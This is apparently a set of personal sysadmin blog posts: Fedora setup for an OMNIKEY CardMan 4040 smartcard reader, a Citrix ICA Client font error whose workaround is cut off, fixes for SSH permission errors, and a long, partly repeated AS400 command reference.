reader_drivers = pcsc, ctapi;

Stop OpenCT daemon:

[root@thinkleo1 ~]# /etc/init.d/openct stop

Install PC/SC driver

Download PC/SC driver for Linux form:

http://www.hidglobal.com/

Actual release is “ifdok_cm4040_lnx-2.0.0.tar.gz” this file contains a nice installer, but doesn’t work under fedora, then proceed manually:

[root@thinkleo1 ~]# tar -xvf ifdok_cm4040_lnx-2.0.0.tar.gz
[root@thinkleo1 ~]# cd ifdok_cm4040_lnx-2.0.0
[root@thinkleo1 ifdok_cm4040_lnx-2.0.0]# cp ifdok_cm4040_lnx-2.0.0.so /usr/lib/pcsc/drivers/

Create file: /etc/reader.conf.d/cardman4040.conf

With this content (adjust that if you have more that one pcmcia slot) :

 #
 # Configuration file for CardMan 4040 smartcard reader.
 #
 FRIENDLYNAME            "OMNIKEY CardMan 4040 Socket 0"
 DEVICENAME              /dev/cmx0
 LIBPATH                 /usr/lib/pcsc/drivers/ifdok_cm4040_lnx-2.0.0.so
 CHANNELID               0

Now insert the smartcard reader into pcmcia slot and restart pcscd:

[root@thinkleo1 ~]# /etc/init.d/pcscd restart

Test the reader:

If all works fine you can get this output:

[root@thinkleo1 ~]# opensc-tool -l
  Readers known about:
  Nr.    Driver     Name
  0      pcsc       OMNIKEY CardMan 4040 Socket 0 00 00
[root@thinkleo1 ~]#

Now the reader is ready to use.

Citrix - ICAClient issue on Linux FC13

Sun, 28 Nov 2010 23:37:19 +0000

If you are using Citrix ICA Client (v.11.100) on Linux specially Fedora 13 after “java-1.6.0-openjdk” update the following dependencies will be installed:

baekmuk-ttf-batang-fonts                             2.2-29.fc13
baekmuk-ttf-dotum-fonts                              2.2-29.fc13
baekmuk-ttf-fonts-common                             2.2-29.fc13
baekmuk-ttf-gulim-fonts                              2.2-29.fc13
baekmuk-ttf-hline-fonts                              2.2-29.fc13
cjkuni-ukai-fonts                                    0.2.20080216.1-42.fc13
cjkuni-uming-fonts                                   0.2.20080216.1-42.fc13
lohit-malayalam-fonts                                2.4.4-5.fc13
sazanami-fonts-common                                0.20040629-14.fc13
sazanami-gothic-fonts                                0.20040629-14.fc13
sazanami-mincho-fonts                                0.20040629-14.fc13

After this updates ICAClient stops working with flollowing error:

Warning:
Name: FONTLIST_DEFAULT_TAG_STRING
Class: XmRendition
Conversion failed.  Cannot load font.

The problem was located under “sazanami-mincho-fonts”

I’ve no time to fix fontpath problem in this stupid application developed in motif, then my little workaround was:

.ssh - Permission

Thu, 09 Sep 2010 23:24:41 +0000

If any of the files (or directories leading up to the files) have permissions set too loose, the connection will fail. Permission errors may be logged on the server side by the sshd(8) daemon.

Authentication refused: bad ownership or modes for directory …

In most cases, potential permission problems can be solved by restricting down access to the SSH configuration files. Permission changes to the home directory might be needed, though restricted rights may break other things.

server$ chmod go-w ~/
server$ chmod 700 ~/.ssh
server$ chmod 600 ~/.ssh/authorized_keys

AS400 - Commands

Mon, 26 Jul 2010 23:55:09 +0000

AS400 Commands

ADDACC Add Access Code
ADDAJE Add Autostart Job Entry
ADDALRACNE Add Alert Action Entry
ADDALRD Add Alert Description
ADDALRSLTE Add Alert Selection Entry
ADDAUTLE Add Authorization List Entry
ADDBKP Add Breakpoint
ADDBNDDIRE Add Binding Directory Entry
ADDCCTRTE Add Circuit Route
ADDCCTSRV Add Circuit Service
ADDCFGLE Add Configuration List Entries
ADDCMNE Add Communications Entry
ADDCNNLE Add Connection List Entry
ADDCOMSNMP Add Community for SNMP
ADDDIRE Add Directory Entry
ADDACC Add Access Code
ADDAJE Add Autostart Job Entry
ADDALRACNE Add Alert Action Entry
ADDALRD Add Alert Description
ADDALRSLTE Add Alert Selection Entry
ADDAUTLE Add Authorization List Entry
ADDBKP Add Breakpoint
ADDBNDDIRE Add Binding Directory Entry
ADDCCTRTE Add Circuit Route
ADDCCTSRV Add Circuit Service
ADDCFGLE Add Configuration List Entries
ADDCMNE Add Communications Entry
ADDCNNLE Add Connection List Entry
ADDCOMSNMP Add Community for SNMP
ADDDIRE Add Directory Entry
ADDDIRSHD Add Directory Shadow System
ADDDLOAUT Add DLO Authority
ADDDSTLE Add Distribution List Entry
ADDDSTQ Add Distribution Queue
ADDDSTRTE Add Distribution Route
ADDDSTSYSN Add Secondary System Name
ADDDTADFN Add Data Definition
ADDEMLCFGE Add Configuration Entry
ADDENVVAR Add Environment Variable
ADDEWCBCDE Add EWC Barcode Entry
ADDEWCM Add Wireless Ctl Member
ADDEWCPTCE Add EWC PTC Entry
ADDEWLM Add Wireless Line Member
ADDEXITPGM Add Exit Program
ADDFCTE Add Forms Control Entry
ADDFNTTBLE Add Font Table Entry
ADDICFDEVE Add ICF Device Entry
ADDIPIADR Add IP over IPX Address
ADDIPIIFC Add IP over IPX Interface
ADDIPIRTE Add IP over IPX Route
ADDIPSIFC Add IP over SNA Interface
ADDIPSLOC Add IP over SNA Location
ADDIPSRTE Add IP over SNA Route
ADDIPXCCT Add IPX Circuit
ADDJOBJS Add Job using Job Scheduler
ADDJOBQE Add Job Queue Entry
ADDJOBSCDE Add Job Schedule Entry
ADDLANADPI Add LAN Adapter Information
ADDLFM Add Logical File Member
ADDLIBLE Add Library List Entry
ADDLICKEY Add License Key Information
ADDLNK Add Link
ADDMFS Add Mounted FS
ADDMSGD Add Message Description
ADDNCK Add Nickname
ADDNETJOBE Add Network Job Entry
ADDNETTBLE Add Network Table Entry
ADDNODLE Add Node List Entry
ADDNWSSTGL Add Server Storage Link
ADDOPTCTG Add Optical Cartridge
ADDOPTSVR Add Optical Server
ADDPCLTBLE Add Protocol Table Entry
ADDPEXDFN Add PEX Definition
ADDPFCST Add PF Constraint
ADDPFM Add Physical File Member
ADDPFRCOL Add Performance Collection
ADDPFTRG Add Physical File Trigger
ADDPFVLM Add Phy File Variable Len Mbr
ADDPGM Add Program
ADDPJE Add Prestart Job Entry
ADDPRBACNE Add Problem Action Entry
ADDPRBSLTE Add Problem Selection Entry
ADDRDBDIRE Add RDB Directory Entry
ADDREXBUF Add REXX Buffer
ADDRJECMNE Add RJE Communication Entry
ADDRJERDRE Add RJE Reader Entry
ADDRJEWTRE Add RJE Writer Entry
ADDRMTDFN Add Remote Definition
ADDRMTSVR Add Remote Server
ADDRPYLE Add Reply List Entry
ADDRTGE Add Routing Entry
ADDSCHIDXE Add Search Index Entry
ADDSNILOC Add SNA over IPX Location
ADDSOCE Add Sphere of Control Entry
ADDSRVTBLE Add Service Table Entry
ADDTAPCTG Add Tape Cartridge
ADDTCPHTE Add TCP/IP Host Table Entry
ADDTCPIFC Add TCP/IP Interface
ADDTCPLNK Add TCP/IP Link
ADDTCPPORT Add TCP/IP Port Restriction
ADDTCPRSI Add TCP/IP Remote System
ADDTCPRTE Add TCP/IP Route
ADDTRC Add Trace
ADDWSE Add Work Station Entry
ALCOBJ Allocate Object
ANSLIN Answer Line
ANSQST Answer Questions
ANZACCGRP Analyze Process Access Group
ANZBESTMDL Analyze BEST/1 Model
ANZDBF Analyze Database Files
ANZDBFKEY Analyze Database File Keys
ANZDFTPWD Analyze Default Passwords
ANZPFRDTA Analyze Performance Data
ANZPGM Analyze Programs
ANZPRB Analyze Problem
ANZPRFACT Analyze Profile Activity
ANZQRY Analyze Query
ANZS34OCL Analyze S/34 OCL
ANZS36OCL System/36 OCL Analysis
ANZUSROBJ ANALYZE USER OBJECTS
APING Verify APPC Connection
APYJRNCHG Apply Journaled Changes
APYPTF Apply Program Temporary Fix
AREXEC Run Remote Command
ASKQST Ask Question
BCHJOB Batch Job
CALL Call Program
CALLPRC Call Bound Procedure
CD Change Current Directory
CFGDEVMLB Configure Device Media Library
CFGDSTSRV Configure Distribution Service
CFGIPI Configure IPI
CFGIPS Configure IP over SNA
CFGIPX Configure IPX
CFGRPDS Configure VM/MVS Bridge
CFGSYSSEC Configure System Security
CFGTCP Configure TCP/IP
CFGTCPAPP Configure TCP/IP Applications
CFGTCPBP Configure TCP/IP BOOTP
CFGTCPFTP Configure TCP/IP FTP
CFGTCPHTTP Configure TCP/IP HTTP
CFGTCPLPD Configure TCP/IP LPD
CFGTCPPTP Configure Point-to-Point TCPIP
CFGTCPRTD Configure TCP/IP RouteD
CFGTCPRXC Configure TCP/IP REXEC
CFGTCPSMTP Configure TCP/IP SMTP
CFGTCPSNMP Configure TCP/IP SNMP
CFGTCPTELN Configure TCP/IP TELNET
CFGTCPWSG Configure TCP/IP Workstation
CHDIR Change Current Directory
CHGACGCDE Change Accounting Code
CHGACTPRFL Change Active Profile List
CHGACTSCDE Change Activation Scd Entry
CHGAJE Change Autostart Job Entry
CHGALRACNE Change Alert Action Entry
CHGALRD Change Alert Description
CHGALRSLTE Change Alert Selection Entry
CHGALRTBL Change Alert Table
CHGAUD Change Auditing Value
CHGAUT Change Authority
CHGAUTJS Change Job Authority using JS
CHGAUTLE Change Auth List Entry
CHGBCKUP Change Backup Options
CHGBPA Change BOOTP Attributes
CHGCCTRTE Change Circuit Route
CHGCCTSRV Change Circuit Service
CHGCFGL Change Configuration List
CHGCFGLE Change Cfg List Entries
CHGCLNUP Change Cleanup
CHGCLS Change Class
CHGCMD Change Command
CHGCMDDFT Change Command Default
CHGCMNE Change Communications Entry
CHGCNNL Change Connection List
CHGCNNLE Change Connection List Entry
CHGCOMSNMP Change Community for SNMP
CHGCOSD Change Class-of-Service Desc
CHGCRQD Change CRQ Description
CHGCSI Change Comm Side Information
CHGCTLAPPC Change Ctl Desc (APPC)
CHGCTLASC Change Ctl Desc (Async)
CHGCTLBSC Change Ctl Desc (BSC)
CHGCTLFNC Change Ctl Desc (Finance)
CHGCTLHOST Change Ctl Desc (SNA Host)
CHGCTLLWS Change Ctl Desc (Local WS)
CHGCTLNET Change Ctl Desc (Network)
CHGCTLRTL Change Ctl Desc (Retail)
CHGCTLRWS Change Ctl Desc (Remote WS)
CHGCTLTAP Change Ctl Desc (Tape)
CHGCTLVWS Change Ctl Desc (Virtual WS)
CHGCURDIR Change Current Directory
CHGCURLIB Change Current Library
CHGDBG Change Debug
CHGDDMF Change DDM File
CHGDEVAPPC Change Device Desc (APPC)
CHGDEVASC Change Device Desc (Async)
CHGDEVBSC Change Device Desc (BSC)
CHGDEVDKT Change Device Desc (Diskette)
CHGDEVDSP Change Device Desc (Display)
CHGDEVFNC Change Device Desc (Finance)
CHGDEVHOST Change Device Desc (SNA Host)
CHGDEVINTR Change Device Desc (Intra)
CHGDEVMLB Change Device Desc (Media Lib)
CHGDEVNET Change Device Desc (Network)
CHGDEVOPT Change Device Desc (Optical)
CHGDEVPR Change Device Desc (Printer)
CHGDEVRTL Change Device Desc (Retail)
CHGDEVSNPT Change Device Desc (SNPT)
CHGDEVSNUF Change Device Desc (SNUF)
CHGDEVTAP Change Device Desc (Tape)
CHGDIRE Change Directory Entry
CHGDIRSHD Change Directory Shadow System
CHGDKTF Change Diskette File
CHGDLOAUD Change DLO Auditing Level
CHGDLOAUT Change DLO Authority
CHGDLOOWN Change DLO Owner
CHGDLOPGP Change DLO Primary Group
CHGDOCD Change Do*****ent Description
CHGDSPF Change Display File
CHGDSTA Change Distribution Attributes
CHGDSTD Change Distribution
CHGDSTL Change Distribution List
CHGDSTPWD Change DST Password
CHGDSTQ Change Distribution Queue
CHGDSTRTE Change Distribution Route
CHGDTA Change Data
CHGDTAARA Change Data Area
CHGEMLCFGE Change Configuration Entry
CHGENVVAR Change Environment Variable
CHGEWCBCDE Change EWC Barcode Entry
CHGEWCM Change Wireless Ctl Member
CHGEWCPTCE Change EWC PTC Entry
CHGEWLM Change Wireless Line Member
CHGEXPSCDE Change Expiration Scd Entry
CHGFCNARA Change Functional Area
CHGFCT Change Forms Control Table
CHGFCTE Change Forms Control Entry
CHGFTPA Change FTP Attributes
CHGFTR Change Filter
CHGGPHFMT Change Graph Format
CHGGPHPKG Change Graph Package
CHGGRPA Change Group Attributes
CHGHLLPTR Change HLL Pointer
CHGHTTPA Change HTTP Attributes
CHGICFDEVE Change ICF Device Entry
CHGICFF Change ICF File
CHGIPIADR Change IP over IPX Address
CHGIPIIFC Change IP over IPX Interface
CHGIPLA Change IPL Attributes
CHGIPSIFC Change IP over SNA Interface
CHGIPSLOC Change IP over SNA Location
CHGIPSTOS Change IP over SNA TOS
CHGIPXCCT Change IPX Circuit
CHGIPXD Change IPX Description
CHGJOB Change Job
CHGJOBD Change Job Description
CHGJOBJS Change Job using Job Scheduler
CHGJOBQE Change Job Queue Entry
CHGJOBSCDE Change Job Schedule Entry
CHGJOBTYP Change Job Type
CHGJRN Change Journal
CHGKBDMAP Change Keyboard Map
CHGLANADPI Change LAN Adapter Information
CHGLF Change Logical File
CHGLFM Change Logical File Member
CHGLIB Change Library
CHGLIBL Change Library List
CHGLICINF Change License Information
CHGLINASC Change Line Desc (Async)
CHGLINBSC Change Line Desc (BSC)
CHGLINDDI Change Line Desc (DDI)
CHGLINETH Change Line Desc (Ethernet)
CHGLINFAX Change Line Desc (Fax)
CHGLINFR Change Line Desc (Frame Relay)
CHGLINIDLC Change Line Desc (IDLC)
CHGLINNET Change Line Desc (Network)
CHGLINSDLC Change Line Desc (SDLC)
CHGLINTDLC Change Line Desc (TDLC)
CHGLINTRN Change Line Desc (Token-Ring)
CHGLINWLS Change Line Desc (Wireless)
CHGLINX25 Change Line Desc (X.25)
CHGLPDA Change LPD Attributes
CHGM36CFG Change Machine Configuration
CHGMNU Change Menu
CHGMOD Change Module
CHGMODD Change Mode Description
CHGMSGD Change Message Description
CHGMSGF Change Message File
CHGMSGQ Change Message Queue
CHGNCK Change Nickname
CHGNETA Change Network Attributes
CHGNETJOBE Change Network Job Entry
CHGNFSEXP Change NFS Export
CHGNODGRPA Change Node Group Attributes
CHGNTBD Change NetBIOS Description
CHGNWIATM Change NWI ATM
CHGNWIFR Change Network Interface (FR)
CHGNWIISDN Change Network Interface ISDN
CHGNWSA Change NWS Attributes
CHGNWSALS Change Network Server Alias
CHGNWSD Change Network Server Desc
CHGNWSUSRA Change NWS User Attributes
CHGOBJAUD Change Object Auditing
CHGOBJD Change Object Description
CHGOBJOWN Change Object Owner
CHGOBJPGP Change Object Primary Group
CHGOPTA Change Optical Attributes
CHGOPTVOL Change Optical Volume
CHGOUTQ Change Output Queue
CHGOWN Change Owner
CHGPCOPRF Change PC Organizer Profile
CHGPDGPRF Change PDG Profile
CHGPEXDFN Change PEX Definition
CHGPF Change Physical File
CHGPFCST Change PF Constraint
CHGPFM Change Physical File Member
CHGPFRCOL Change Performance Collection
CHGPGM Change Program
CHGPGMVAR Change Program Variable
CHGPGP Change Primary Group
CHGPJ Change Prestart Job
CHGPJE Change Prestart Job Entry
CHGPOPA Change POP Server Attributes
CHGPRB Change Problem
CHGPRBACNE Change Problem Action Entry
CHGPRBSLTE Change Problem Selection Entry
CHGPRF Change Profile
CHGPRTF Change Printer File
CHGPSFCFG Change PSF Configuration
CHGPTR Change Pointer
CHGPWD Change Password
CHGPWRSCD Change Power On/Off Schedule
CHGPWRSCDE Change Power Schedule Entry
CHGQRYA Change Query Attributes
CHGQSTDB Change Q/A Database
CHGRCYAP Chg Recovery for Access Paths
CHGRDBDIRE Change RDB Directory Entry
CHGRJECMNE Change RJE Communication Entry
CHGRJERDRE Change RJE Reader Entry
CHGRJEWTRE Change RJE Writer Entry
CHGRMTDFN Change Remote Definition
CHGRPYLE Change Reply List Entry
CHGRTDA Change RouteD Attributes
CHGRTGE Change Routing Entry
CHGRWSPWD Change RWS Controller Password
CHGRXCA Change REXEC Attributes
CHGS34LIBM Change S/34 Library Member
CHGS36 Change S/36 Configuration
CHGS36A Change S/36 Environment Attr
CHGS36MSGL Change S/36 Message List
CHGS36PGMA Change S/36 Program Attributes
CHGS36PRCA Change S/36 Proc Attributes
CHGS36SRCA Change S/36 Source Attributes
CHGSAVF Change Save File
CHGSBSD Change Subsystem Description
CHGSCHIDX Change Search Index
CHGSECA Change Security Attributes
CHGSECAUD Change Security Auditing
CHGSHRPOOL Change Shared Storage Pool
CHGSMTPA Change SMTP Attributes
CHGSNILOC Change SNA over IPX Location
CHGSNMPA Change SNMP Attributes
CHGSPLFA Change Spooled File Attributes
CHGSRCPF Change Source Physical File
CHGSRVA Change Service Attributes
CHGSRVPGM Change Service Program
CHGSSND Change Session Description
CHGSSNMAX Change Session Maximum
CHGSYSDIRA Change System Dir Attributes
CHGSYSJOB Change System Job
CHGSYSLIBL Change System Library List
CHGSYSVAL Change System Value
CHGTAPCTG Change Tape Cartridge
CHGTAPF Change Tape File
CHGTCPA Change TCP/IP Attributes
CHGTCPHTE Change TCP/IP Host Table Entry
CHGTCPIFC Change TCP/IP Interface
CHGTCPLNK Change TCP/IP Link
CHGTCPRTE Change TCP/IP Route
CHGTELNA Change TELNET Attributes
CHGTFTPA Change TFTP Attributes
CHGUSRAUD Change User Auditing
CHGUSRPRF Change User Profile
CHGUSRPRTI Change User Print Info
CHGVAR Change Variable
CHGVT1MAP Change VT100 keyboard map
CHGVTMAP Change VT Keyboard Map
CHGWSE Change Work Station Entry
CHGWSGA Change WSG Attributes
CHGWTR Change Writer
CHKCMNTRC Check Communications Trace
CHKDKT Check Diskette
CHKDLO Check Do*****ent Library Object
CHKIN Check In Object
CHKOBJ Check Object
CHKOBJITG Check Object Integrity
CHKOUT Check Out Object
CHKPRDOPT Check Product Option
CHKPWD Check Password
CHKRCDLCK Check Record Locks
CHKS36SRCA Check S/36 Source Attributes
CHKTAP Check Tape
CLOF Close File
CLRDKT Clear Diskette
CLRJOBQ Clear Job Queue
CLRLIB Clear Library
CLRMSGQ Clear Message Queue
CLROUTQ Clear Output Queue
CLRPFM Clear Physical File Member
CLRPOOL Clear Pool
CLRSAVF Clear Save File
CLRTRCDTA Clear Trace Data
CMD Command Definition
CMPJRNIMG Compare Journal Images
CMPPFM Compare Physical File Member
CMPPTFLVL Compare PTF Level
CNLRJERDR Cancel RJE Reader
CNLRJEWTR Cancel RJE Writer
COMMIT Commit
COPY Copy Object
COPYRIGHT Copyright
CPROBJ Compress Object
CPY Copy Object
CPYCFGL Copy Configuration List
CPYDOC Copy Do*****ent
CPYF Copy File
CPYFCNARA Copy Functional Area
CPYFRMDIR Copy From Directory
CPYFRMDKT Copy From Diskette
CPYFRMPCD Copy From PC Do*****ent
CPYFRMQRYF Copy From Query File
CPYFRMSTMF Copy From Stream File
CPYFRMTAP Copy From Tape
CPYGPHFMT Copy Graph Format
CPYGPHPKG Copy Graph Package
CPYJOBJS Copy Job using Job Scheduler
CPYLIB Copy Library
CPYOPT Copy Optical
CPYPFRDTA Copy Performance Data
CPYPTF Copy Program Temporary Fix
CPYSPLF Copy Spooled File
CPYSRCF Copy Source File
CPYTODIR Copy To Directory
CPYTODKT Copy To Diskette
CPYTOPCD Copy To PC Do*****ent
CPYTOSTMF Copy To Stream File
CPYTOTAP Copy To Tape
CRTALRTBL Create Alert Table
CRTAUTHLR Create Authority Holder
CRTAUTL Create Authorization List
CRTBESTMDL Create BEST/1 Model
CRTBNDCBL Create Bound COBOL Program
CRTBNDCL Create Bound CL Program
CRTBNDDIR Create Binding Directory
CRTBNDRPG Create Bound RPG Program
CRTCBLMOD Create COBOL Module
CRTCBLPGM Create COBOL Program
CRTCFGL Create Configuration List
CRTCLD Create C Locale Description
CRTCLMOD Create CL Module
CRTCLPGM Create CL Program
CRTCLS Create Class
CRTCMD Create Command
CRTCNNL Create Connection List
CRTCOSD Create Class-of-Service Desc
CRTCRQD Create CRQ Description
CRTCSI Create Comm Side Information
CRTCTLAPPC Create Ctl Desc (APPC)
CRTCTLASC Create Ctl Desc (Async)
CRTCTLBSC Create Ctl Desc (BSC)
CRTCTLFNC Create Ctl Desc (Finance)
CRTCTLHOST Create Ctl Desc (SNA Host)
CRTCTLLWS Create Ctl Desc (Local WS)
CRTCTLNET Create Ctl Desc (Network)
CRTCTLRTL Create Ctl Desc (Retail)
CRTCTLRWS Create Ctl Desc (Remote WS)
CRTCTLTAP Create Ctl Desc (Tape)
CRTCTLVWS Create Ctl Desc (Virtual WS)
CRTDDMF Create DDM File
CRTDEVAPPC Create Device Desc (APPC)
CRTDEVASC Create Device Desc (Async)
CRTDEVBSC Create Device Desc (BSC)
CRTDEVDKT Create Device Desc (Diskette)
CRTDEVDSP Create Device Desc (Display)
CRTDEVFNC Create Device Desc (Finance)
CRTDEVHOST Create Device Desc (SNA Host)
CRTDEVINTR Create Device Desc (Intra)
CRTDEVMLB Create Device Desc (Media Lib)
CRTDEVNET Create Device Desc (Network)
CRTDEVOPT Create Device Desc (Optical)
CRTDEVPRT Create Device Desc (Printer)
CRTDEVRTL Create Device Desc (Retail)
CRTDEVSNPT Create Device Desc (SNPT)
CRTDEVSNUF Create Device Desc (SNUF)
CRTDEVTAP Create Device Desc (Tape)
CRTDFUDSPF Create DFU Display File
CRTDIR Create Directory
CRTDKTF Create Diskette File
CRTDOC Create Do*****ent
CRTDSPF Create Display File
CRTDSTL Create Distribution List
CRTDTAARA Create Data Area
CRTDTADCT Create Data Dictionary
CRTDTAQ Create Data Queue
CRTDUPOBJ Create Duplicate Object
CRTEDTD Create Edit Description
CRTFCNARA Create Functional Area
CRTFCT Create Forms Control Table
CRTFLR Create Folder
CRTFNTRSC Create Font Resource
CRTFORMDF Create Form Definition
CRTFTR Create Filter
CRTGPHFMT Create Graph Format
CRTGPHPKG Create Graph Package
CRTGSS Create Graphics Symbol Set
CRTHSTDTA Create Historical Data
CRTICFF Create ICF File
CRTIPXD Create IPX Description
CRTJOBD Create Job Description
CRTJOBQ Create Job Queue
CRTJRN Create Journal
CRTJRNRCV Create Journal Receiver
CRTLF Create Logical File
CRTLIB Create Library
CRTLINASC Create Line Desc (Async)
CRTLINBSC Create Line Desc (BSC)
CRTLINDDI Create Line Desc (DDI)
CRTLINETH Create Line Desc (Ethernet)
CRTLINFAX Create Line Desc (Fax)
CRTLINFR Create Line Desc (Frame Relay)
CRTLINIDLC Create Line Desc (IDLC)
CRTLINNET Create Line Desc (Network)
CRTLINSDLC Create Line Desc (SDLC)
CRTLINTDLC Create Line Desc (TDLC)
CRTLINTRN Create Line Desc (Token-Ring)
CRTLINWLS Create Line Desc (Wireless)
CRTLINX25 Create Line Desc (X.25)
CRTLOCALE Create Locale
CRTM36CFG Create Machine Configuration
CRTMNU Create Menu
CRTMODD Create Mode Description
CRTMSGF Create Message File
CRTMSGFMNU Create Menu from Msg Files
CRTMSGQ Create Message Queue
CRTNODGRP Create Node Group
CRTNODL Create Node List
CRTNTBD Create NetBIOS Description
CRTNWIATM Create NWI ATM
CRTNWIFR Create Network Interface (FR)
CRTNWIISDN Create Network Interface ISDN
CRTNWSALS Create Network Server Alias
CRTNWSD Create Network Server Desc
CRTNWSSTG Create NWS Storage Space
CRTOUTQ Create Output Queue
CRTOVL Create Overlay
CRTPAGDFN Create Page Definition
CRTPAGSEG Create Page Segment
CRTPDG Create Print Descriptor Group
CRTPF Create Physical File
CRTPGM Create Program
CRTPNLGRP Create Panel Group
CRTPRTF Create Printer File
CRTPSFCFG Create PSF Configuration
CRTQMFORM Create Query Management Form
CRTQMQRY Create Query Management Query
CRTQSTDB Create Q/A Database
CRTQSTLOD Create Q/A Database Load
CRTRJEBSCF Create RJE BSC File
CRTRJECFG Create RJE Configuration
CRTRJECMNF Create RJE Communication File
CRTRPGMOD Create RPG Module
CRTRPGPGM Create RPG/400 Program
CRTRPTPGM Create Auto Report RPG Program
CRTS36CBL Create S/36 COBOL Program
CRTS36DSPF Create S/36 Display File
CRTS36MNU Create S/36 Menu
CRTS36MSGF Create S/36 Message File
CRTS36RPG Create RPG II Program
CRTS36RPGR Create Console Display File
CRTS36RPT Create S/36 RPG II Auto Report
CRTSAVF Create Save File
CRTSBSD Create Subsystem Description
CRTSCHIDX Create Search Index
CRTSPADCT Create Spelling Aid Dictionary
CRTSQLC Create SQL C Program
CRTSQLCBL Create SQL COBOL Program
CRTSQLCBLI Create SQL ILE COBOL Object
CRTSQLCI Create SQL ILE C object
CRTSQLFTN Create SQL FORTRAN Program
CRTSQLPKG Create SQL Package
CRTSQLPLI Create SQL PL/I Program
CRTSQLRPG Create SQL RPG Program
CRTSQLRPGI Create SQL ILE RPG Object
CRTSRCPF Create Source Physical File
CRTSRVPGM Create Service Program
CRTSSND Create Session Description
CRTTAPCGY Create Tape Category
CRTTAPF Create Tape File
CRTTBL Create Table
CRTUDFS Create User-Defined FS
CRTUSRPRF Create User Profile
CRTVLDL Create Validation List
CRTWSCST Create WSCST
CVTBASSTR Convert S/36 Stream File
CVTBASUNF Convert S/36 Unformatted File
CVTBGUDTA Convert BGU Data
CVTCLSRC Convert CL Source
CVTDAT Convert Date
CVTDLSNAM Convert DLS Name
CVTEDU Convert Education
CVTIPSIFC Convert IP Address
CVTIPSLOC Convert Network ID / Location
CVTNAMSMTP Convert SMTP Names
CVTOPTBKU Convert Optical Backup
CVTPFRDTA Convert Performance Data
CVTRJEDTA Convert RJE Data
CVTRPGSRC Convert RPG Source
CVTS36CFG Convert S/36 Configuration
CVTS36FCT Convert Forms Control Table
CVTS36JOB Convert S/36 Migration Job
CVTS36QRY Convert S/36 Query
CVTS38JOB Convert S/38 Migration Job
CVTTCPCL Convert TCP/IP CL Source
CVTTOFLR Convert To Folder
DATA Data
DCL Declare CL Variable
DCLF Declare File
DCPOBJ Decompress Object
DEL Remove Link
DEP Dependent Definition
DLCOBJ Deallocate Object
DLTALR Delete Alert
DLTALRTBL Delete Alert Table
DLTAPARDTA Delete APAR Data
DLTAUTHLR Delete Authority Holder
DLTAUTL Delete Authorization List
DLTBESTMDL Delete BEST/1 model
DLTBNDDIR Delete Binding Directory
DLTCFGL Delete Configuration List
DLTCLD Delete C Locale Description
DLTCLS Delete Class
DLTCMD Delete Command
DLTCMNTRC Delete Communications Trace
DLTCNNL Delete Connection List
DLTCOSD Delete Class-of-Service Desc
DLTCRQD Delete CRQ Description
DLTCSI Delete Comm Side Information
DLTCSPMAP Delete CSP/AE Map Group
DLTCTLD Delete Controller Description
DLTDEVD Delete Device Description
DLTDEVMLB Delete Device Media Library
DLTDFUPGM Delete DFU Program
DLTDKTLBL Delete Diskette Label
DLTDLO Delete Do*****ent Library Object
DLTDOCL Delete Do*****ent List
DLTDST Delete Distribution
DLTDSTL Delete Distribution List
DLTDTAARA Delete Data Area
DLTDTADCT Delete Data Dictionary
DLTDTAQ Delete Data Queue
DLTEDTD Delete Edit Description
DLTF Delete File
DLTFCNARA Delete Functional Area
DLTFCT Delete Forms Control Table
DLTFNTRSC Delete Font Resource
DLTFNTTBL Delete Font Table
DLTFORMDF Delete Form Definition
DLTFTR Delete Filter
DLTGPHFMT Delete Graph Format
DLTGPHPKG Delete Graph Package
DLTGSS Delete Graphic Symbol Set
DLTHSTDTA Delete Historical Data
DLTIPXD Delete IPX Description
DLTJOBD Delete Job Description
DLTJOBQ Delete Job Queue
DLTJRN Delete Journal
DLTJRNRCV Delete Journal Receiver
DLTLIB Delete library
DLTLICPGM Delete Licensed Program
DLTLIND Delete Line Description
DLTLOCALE Delete Locale
DLTM36 Delete Machine
DLTM36CFG Delete Machine Configuration
DLTMNU Delete Menu
DLTMOD Delete Module
DLTMODD Delete Mode Description
DLTMSGF Delete Message File
DLTMSGQ Delete Message Queue
DLTNETF Delete Network File
DLTNODGRP Delete Node Group
DLTNODL Delete Node List
DLTNTBD Delete NetBIOS Descriptions
DLTNWID Delete Network Interface Desc
DLTNWSALS Delete Network Server Alias
DLTNWSAPP Delete Network Server App
DLTNWSD Delete Network Server Desc
DLTNWSSTG Delete NWS Storage Space
DLTOUTQ Delete Output Queue
DLTOVL Delete Overlay
DLTOVR Delete Override
DLTOVRDEVE Delete Override Pgm Dev Entry
DLTPAGDFN Delete Page Definition
DLTPAGSEG Delete Page Segment
DLTPDG Delete Print Descriptor Group
DLTPEXDTA Delete PEX Data
DLTPFRDTA Delete Performance Data
DLTPGM Delete Program
DLTPNLGRP Delete Panel Group
DLTPRB Delete Problem
DLTPSFCFG Delete PSF Configuration
DLTPTF Delete Program Temporary Fix
DLTQMFORM Delete Query Management Form
DLTQMQRY Delete Query Management Query
DLTQRY Delete Query
DLTQST Delete Questions and Answers
DLTQSTDB Delete Q/A Database
DLTRJECFG Delete RJE Configuration
DLTSBSD Delete Subsystem Description
DLTSCHIDX Delete Search Index
DLTSHF Delete Bookshelf
DLTSPADCT Delete Spelling Aid Dictionary
DLTSPLF Delete Spooled File
DLTSQLPKG Delete SQL Package
DLTSRVPGM Delete Service Program
DLTSSND Delete Session Description
DLTTAPCGY Delete Tape Category
DLTTBL Delete Table
DLTUDFS Delete User-Defined FS
DLTUSRIDX Delete User Index
DLTUSRPRF Delete User Profile
DLTUSRQ Delete User Queue
DLTUSRSPC Delete User Space
DLTVLDL Delete Validation List
DLTWSCST Delete WSCST
DLYJOB Delay Job
DMPCLPGM Dump CL Program
DMPDLO Dump Do*****ent Library Object
DMPJOB Dump Job
DMPJOBINT Dump Job Internal
DMPOBJ Dump Object
DMPSYSOBJ Dump System Object
DMPTAP Dump Tape
DMPTRC Dump Trace
DO Do Group
DSCJOB Disconnect Job
DSPACC Display Access Code
DSPACCAUT Display Access Code Authority
DSPACCGRP Display Access Group
DSPACTPJ Display Active Prestart Jobs
DSPACTPRFL Display Active Profile List
DSPACTSCD Display Activation Schedule
DSPAPPNINF Display APPN Information
DSPAUDJRNE Display Audit Journal Entries
DSPAUT Display Authority
DSPAUTHLR Display Authority Holder
DSPAUTL Display Authorization List
DSPAUTLDLO Display Authorization List DLO
DSPAUTLOBJ Display Authorization List Obj
DSPAUTUSR Display Authorized Users
DSPBCKSTS Display Backup Status
DSPBCKUP Display Backup Options
DSPBCKUPL Display Backup List
DSPBKP Display Breakpoints
DSPBNDDIR Display Binding Directory
DSPCCTRTE Display Circuit Route
